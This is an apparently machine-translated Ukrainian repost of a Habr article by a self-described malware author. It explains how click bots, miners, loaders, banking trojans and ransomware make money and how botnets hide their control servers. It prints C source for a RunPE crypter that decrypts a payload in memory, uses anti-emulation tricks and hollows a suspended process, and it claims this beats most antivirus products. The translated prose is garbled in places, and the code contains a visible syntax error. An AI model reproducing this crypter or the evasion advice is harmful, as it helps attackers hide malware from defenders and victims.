По той бік барикад шкідливого ПО. Сповідь малварщика



Вітаю, %хабраюзер%. Вирішив ненадовго відірватися від форумних воєн і роботи, написавши на Хабр статтю про шкідливі програми. Але ця стаття буде незвичайна, так би мовити — по іншу сторону барикад. Так вже склалося, що на життя заробляю розробкою ПЗ. Шкідливого.

Наперед скажу:

Я не працюю по RU та СНД зокрема, а отже, чистий перед законом. Не треба мене тикати в КК РФ, його знаю відмінно і не порушую. Таке у нас КПК, що не вважає порушенням 272/273, якщо не заподіяло шкоду Російської Федерації. Таким чином, я відмовляюся від відповідальності від сказаного мною тут, а також не несу ніякої відповідальності за завдані дії після прочитання цієї статті. І взагалі — я зав'язав. Я добрий, хольте і плекайте.

Отже, приступимо.

Почну з того, хто і навіщо пише шкідливе ПЗ.

Замість вступу. Навіщо ж це все?
Почну зі своєї історії. Я почав програмування з написання шкідливого ПЗ, як і багато хто в цій сфері. Саме тому так часто зустрічаються дурні шкідливий, які тільки псують, або містять стільки помилок, що комп'ютер взагалі відмовляється далі працювати. Спонукав мене інтерес до цього, коли я зловив подібну малварь. Ну, і власне его — почав я з таких же псують систему шкідливий.

Позврослев і набравшись досвіду, я зрозумів, що на цьому можна заробляти. Про це я і хочу поговорити в першій частині статті.

Як використовують зловмисне програмне забезпечення?
Почнемо з самого простого.

I) Clickfraud, шахрайство з кліками, або, як ми говоримо — кликботы. Для чого це треба? Ну, уявімо, що ви якась рекламна фірма, і вам платять за переходи. Іншими словами за трафік. І тут два шляхи:

1) Або цей трафік добути чесним шляхом, рекламою;
2) Або просто «попросити» вредоноса (мені не подобається, чесно кажучи, слово шкідливий) перейти на сайт. Хороші кликботы вміють емулювати javascript і клікати по екрану, що дуже складно відфільтрувати.

Як ми розуміємо, реклама дорога, і ботнет на базі кликбота дуже добре окупається.

Прикладом є P2P-ботнет на базі ZeroAccess.

II) Переходимо до більш агресивного софту, майнінг. Думаю, не потрібно місцевому співтовариству пояснювати, що таке майнінг. Просто скажу цифру: 9 USD/day с ~120 онлайну серверних систем на майнинге Altcoin.

Приклад: ZeroAccess для майнінг Bitcoin.

Непогано, так? Але це все нецікаво, йдемо далі.

III) Завантаження. Ось ми і підійшли до того, про що звичайне IT-спільнота не знає. Як зазвичай кажуть віри — Trojan-Downloader, а ми будемо говорити по простому — лоадер. Так от, лоадер — це така штука, яка служить для завантаження і запуску іншого малварі. Вони бувають нерезидентними і резидентними. Поговоримо про другу, бо це найбільш цікаво. Що зазвичай робить людина, що використовує малварь для своїх благих цілей? Він шукає де б дістати лоады (завантаження) на комп'ютери користувачів. І йде він до адверту (людина, який вантажить софт). Адверт використовує лоадер для завантаження софта цієї людини на комп'ютери користувачів.

Звичайні розцінки:

US — 600$/1к лоадов
UK — 400$/1к лоадов
Мікс світу — 100$/1к лоадов
Мікс Азії — 75$/1к лоадов.

Ці ціни взяті в одного з таких адвертов.

Приклад: Smoke Loader.

IV) Банкботы. Ось ми і підійшли до кардерам, які крадуть денюшку іу людців.

Почнемо з банкботов.

Як працює банкбот?

Потрапляючи на комп'ютер користувача він инжектит код (впроваджує в адресний простір процесу) в браузери, ставить хуки на апишки для роботи з мережею (перехоплює функції відправки/отримання даних з мережі), після чого здійснює підміну видачі (розмовне: веб-інжект, инжи, інжект). Тобто, наприклад, користувач заходить в онлайн банк, а у нього замість форми від банку підміняється код на форму, яка здійснює автоматичний переклад після введення даних авторизації (автозаливы). Це найпростіший варіант; зрозуміло, існують різні антифрод системи в банках та інші способи захисту. Але є способи їх обходу.

Суми, одержувані кардерами, можете уявити самі.

Приклад: Zeus, SpyEye.

V) Криптолокеры. Нарешті, ми підійшли до найнижчого — криптолокерам. Даний софт шифрує всі на гвинті і вимагає викуп. Найбільш професійні працюють наступним чином:

При старті перевіряють запущені вони в СНД (зазвичай по розкладці) і, якщо запущені, то завершуються. Це не жарт, так і є, приклади: Cerber Locker.

Ну да ладно, це професіоналізм в цілях безпеки свого ж таки, але ми розглянемо те, як вони примудряються все пошифровать, та так, що не розшифруєш.

Для кожного файлу генерується унікальний AES-256 ключ, який шифрується глобальним публічним RSA-2048 ключем, а приватна частина видаляється з пам'яті і відправляється на сервер для зберігання. Зроблено це для того, щоб збільшити швидкість шифрування, бо RSA — занадто повільний алгоритм, а AES-CBC шифрує досить швидко. Щоб розшифрувати будуть потрібні сотні років зі всієї обчислювальної потужності, або приватний ключ з сервера для розшифровки ключа AES, який відправляється в автоматичному режимі при отриманні оплати на унікальний для бота bitcoin-адресу. Саме так працює Cerber Locker. За даними дослідників (гуглится легко) автори цербера заробили близько $2 млн за рік. На ділі трохи менше мільйона, так як поширюється цей софт рахунок адвертов, яким йде 50% (на одному з форумів висить їх партнерська програма).

Замість основної частини. Як відбувається управління ботнетом?
Зрозуміло, ми повинні як-то всім цим керувати. Для цього використовуються найчастіше C&C-сервери (Command and control). Боти просто при старті підключаються до сервера і чекають звідти команди. Зрозуміло, приходять абузы і сервер нахабним чином блочат, але і від цього є панацея. Можна використовувати DGA (алгоритм генерації доменів), або хостинг в .onion зоні (простіше кажучи в торі). Відмінне антиабузное рішення. Зараз спостерігається цікава тенденція у використанні namecoin, він же blockchain для dns. Так що з прогресом ховати ботнети стає все простіше, а захист тільки слабшає.

А як же з обходами антивірусів?
Для початку поговоримо про рівнях захисту: scantime, runtime. Іншими словами, під час сканування і під час роботи. До першого відноситься сигнатурний аналіз та евристичний, а до другого — проактивні технології.

Все це обходиться досить просто. Евристика шукає підозрілі виклики API і імена в таблиці імпорту, а ми можемо просто використовувати динамічний імпорт функцій через самописную GetProcAddress функцію і різні техніки антиэмуляции. До недавнього часу KIS не вмів емулювати останню помилку API функцій і його легко було пустити по помилковому сліду, зараз це чомусь перестало допомагати. Поки не расковырял, на жаль.

Для обходу сигнатурного детекта вже старих шкідливий використовуються крипторы. По простому, це звичайні пакувальники/протектори, але потрібні для іншого — розшифрувати зашифрований код у пам'яті і запустити його подібно завантажувачу Windows. Так діють LoadPE-крипторы.

З проактивними складніше і обходяться виключно розривом шаблону поведінки, потрібно вести себе так, як ніби ти білий і пухнастий.

Приклад коду з RunPE криптора, расшифрующего малварь в пам'яті і впроваджує його в копію свого процесу
void Decrypt(PCHAR str, DWORD size)
{
int j = 2;
OpenProcess(0, 0, 0);
for (DWORD i = 0; i < size; i++)
{
if ((i % 1024 == 0) && (fact(j) != j))
ExitProcess(0);
str[i] ^= (xor_key - GetLastError());
str[i] -= (fact(j + 1) - fact(j) * fact(j));
}
}


void __cdecl memset_mm(void *data, char byte, DWORD size)
{
for (unsigned int i = 0; i < size; i++)
((char*)data)[i] = byte;
}


void run(LPSTR szFilePath, PVOID pFile)
{
PIMAGE_DOS_HEADER IDH;
PIMAGE_NT_HEADERS INH;
PIMAGE_SECTION_HEADER ISH;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;

memset_mm(&PI, 0, sizeof(PI));
memset_mm(&SI, 0, sizeof(SI));
PCONTEXT CTX;
NtUnmapViewOfSection xNtUnmapViewOfSection;
LPVOID pImageBase;
int Count;
IDH = PIMAGE_DOS_HEADER(pFile);
if (IDH->e_magic == IMAGE_DOS_SIGNATURE)
{
INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew);
if (INH->Signature == IMAGE_NT_SIGNATURE)
{
if (CreateProcessA(szFilePath, NULL, NULL, NULL, 'FALSE', CREATE_SUSPENDED, NULL, NULL, &SI, &PI))
{
CTX = PCONTEXT(VirtualAlloc NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL;
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
{
xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
xNtUnmapViewOfSection(PI.hProcess, PVOID(INH->OptionalHeader.ImageBase));
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
if (pImageBase)
{
WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
{
ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
}
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL);
CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX));
ResumeThread(PI.hThread);
}

}
}
}
}
VirtualFree(pFile, 0, MEM_RELEASE);
}


void Decryption()
{
PCHAR Self = (PCHAR)VirtualAlloc(0, 256, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!Self)
ExitProcess(0);
GetModuleFileNameA(0, Self, 256);

Decrypt((PCHAR)&Buf[0], size);

run(Self, Buf);
ExitProcess(0);
}



У прикладі в якості ключа використовується LastError від хибного виклику функції OpenProcess. Рятував раніше від KIS та інших, зараз якось не дуже. Мабуть емулятор дописали по-нормальному.

void Decrypt(PCHAR str, DWORD size)
{
int j = 2;
OpenProcess(0, 0, 0);
for (DWORD i = 0; i < size; i++)
{
if ((i % 1024 == 0) && (fact(j) != j))
ExitProcess(0);
str[i] ^= (xor_key - GetLastError());
str[i] -= (fact(j + 1) - fact(j) * fact(j));
}
}

Незважаючи на такий простий алгоритм, це допомагає обійти більшість антивірусів, прибравши евристичні та сигнатурні детекты.

Не вірите? Ок.

Давайте подивимося на результат сканування малварі DarkComet RAT.

Білд DarkComet'а некриптованный

А тепер накриємо його криптором з під спойлера.

білд DarkComet'а кріптованний

Результат цікавий, з-за паніки навколо zeus'а дуже багато помилкових спрацьовувань через дуже загальних сигнатур на нього. Зрозуміло, 1 детект — це помилка швидше, а не досягнення.

Замість висновку. Як захиститися?
Рекламувати особливі продукти не буду, але вони є. І цей продукт безкоштовний.

1) Поставте лінукс

1) Використовуйте рішення класу Internet Security (Total Security);
2) Використовуйте фаерволлы;
3) UAC на максимальний рівень (хоча це легко обходиться), пароль адміна 40 символів і сидите з під юзера;
4) NoScript плагін для браузера, змінений UserAgent під Linux і Chrome для невірної ідентифікації браузера.

На цьому у мене все.
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.